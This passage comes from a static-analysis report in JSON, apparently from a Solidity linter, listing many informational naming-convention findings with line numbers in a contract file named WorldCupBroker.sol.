{"WorldCupBroker.sol": [1142, 1143, 1144, 1145, 1146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2259]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2015]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1024, 1025, 1026, 1027, 1028, 1029, 1023]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1338]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [826]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [819]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1386]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [834]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [829]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1113, 1114, 1115, 1116, 1117, 1118]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534, 1535, 1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592, 1593, 1594, 1595, 1596, 1597, 1598, 1599, 1600, 1601, 1602, 1603, 1604, 1605, 1606, 1607, 1608, 1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631, 1632, 1633, 1634, 1635, 1636, 1637, 1638, 1639, 1640, 1641, 1642, 1643, 1644, 1645, 1646, 1647, 1648, 1649, 1650, 1651, 1652, 1653, 1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661, 1662, 1663, 1664, 1665, 1666, 1667, 1668, 1669, 1670, 1671, 1672, 1673, 1674, 1675, 1676, 1677, 1678, 1679, 1680, 1681, 1682, 1683, 1684, 1685, 1686, 1687, 1688, 1689, 1690, 1691, 1692, 1693, 1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1738, 1739, 1740, 1741, 1742, 1743, 1744, 1745, 1746, 1747, 1748, 1749, 1750, 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1768, 1769, 1770, 1771, 1772, 1773, 1774, 1775, 1776, 1777, 1778, 1779, 1780, 1781, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791, 1792, 1793, 1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801, 1802, 1803, 1804, 1805, 1806, 1807, 1808, 1809, 1810, 1811]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1137, 1138, 1139, 1140, 1141]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [937, 938, 939, 940, 941]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [88, 89, 86, 87]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1248, 1249, 1250, 1251, 1243, 1244, 1245, 1246, 1247]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1280, 1281, 1282]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1189, 1190, 1191, 1192, 1193, 1194, 1195]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1016, 1017, 1018, 1019, 1020, 1021, 1022]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1400]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1920, 1921, 1922, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [831]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [828]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2046]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1390]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2073]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1290, 1291, 1292]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1974]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1164, 1165, 1166, 1167, 1168, 1169]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661, 1662]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1147, 1148, 1149, 1150, 1151]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1088, 1089, 1090, 1091, 1092, 1093, 1094, 1086, 1087]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1184, 1185, 1186, 1187, 1188, 1182, 1183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1216, 1217, 1218, 1211, 1212, 1213, 1214, 1215]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [904, 905, 903]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1400]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [851, 852, 853, 854]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1529]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1654]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [953, 954, 955, 956, 957, 958]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [917, 918, 919, 920, 921]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1654]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [932, 933, 934, 935, 936]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [804]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1654]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1030, 1031, 1032, 1033, 1034, 1035, 1036]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1320]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [822]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1926]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1520]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2278]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1125, 1126, 1127, 1128, 1129, 1130]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2135]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [922, 923, 924, 925, 926]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1300]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [830]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [806]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2135]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [992, 993, 994, 995, 996, 997]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1974]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [947, 948, 949, 950, 951, 952]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1743, 1744, 1745, 1746, 1747, 1748, 1749, 1750, 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1768]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [813]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2095]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [998, 999, 1000, 1001, 1002, 1003]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [986, 987, 988, 989, 990]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1382]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1644, 1645, 1646, 1647, 1648, 1649, 1650, 1651, 1652]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1338]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2278]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [971, 972, 973, 974, 975]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1521, 1522, 1523]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1386]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1676, 1677, 1678, 1679, 1680, 1681, 1682, 1683, 1684, 1685, 1686, 1687, 1688, 1689, 1690, 1691, 1692, 1693, 1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2174]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [808]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1120, 1121, 1122, 1123, 1124, 1119]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [896, 897, 894, 895]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1525, 1526, 1527]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1010, 1011, 1012, 1013, 1014, 1015]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [912, 913, 914, 915, 916]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [965, 966, 967, 968, 969, 970]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1170, 1171, 1172, 1173, 1174, 1175]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1152, 1153, 1154, 1155, 1156]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1974]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1974]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1004, 1005, 1006, 1007, 1008, 1009]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1131, 1132, 1133, 1134, 1135, 1136]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1576, 1574, 1575]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1390]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1158, 1159, 1160, 1161, 1162, 1163]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1056, 1057, 1058, 1059, 1060, 1053, 1054, 1055]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [823]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1529]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [825]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [899, 900, 901]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1974]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [508]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [981, 982, 983, 984, 985]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [821]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2228]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1974]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1203, 1204, 1205, 1206, 1207, 1208, 1209]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2238]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1676]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1529]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1283, 1284, 1285]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1386]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [820]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1925]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1529, 1530, 1531, 1532, 1533, 1534, 1535]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1974]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1579]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1252, 1253, 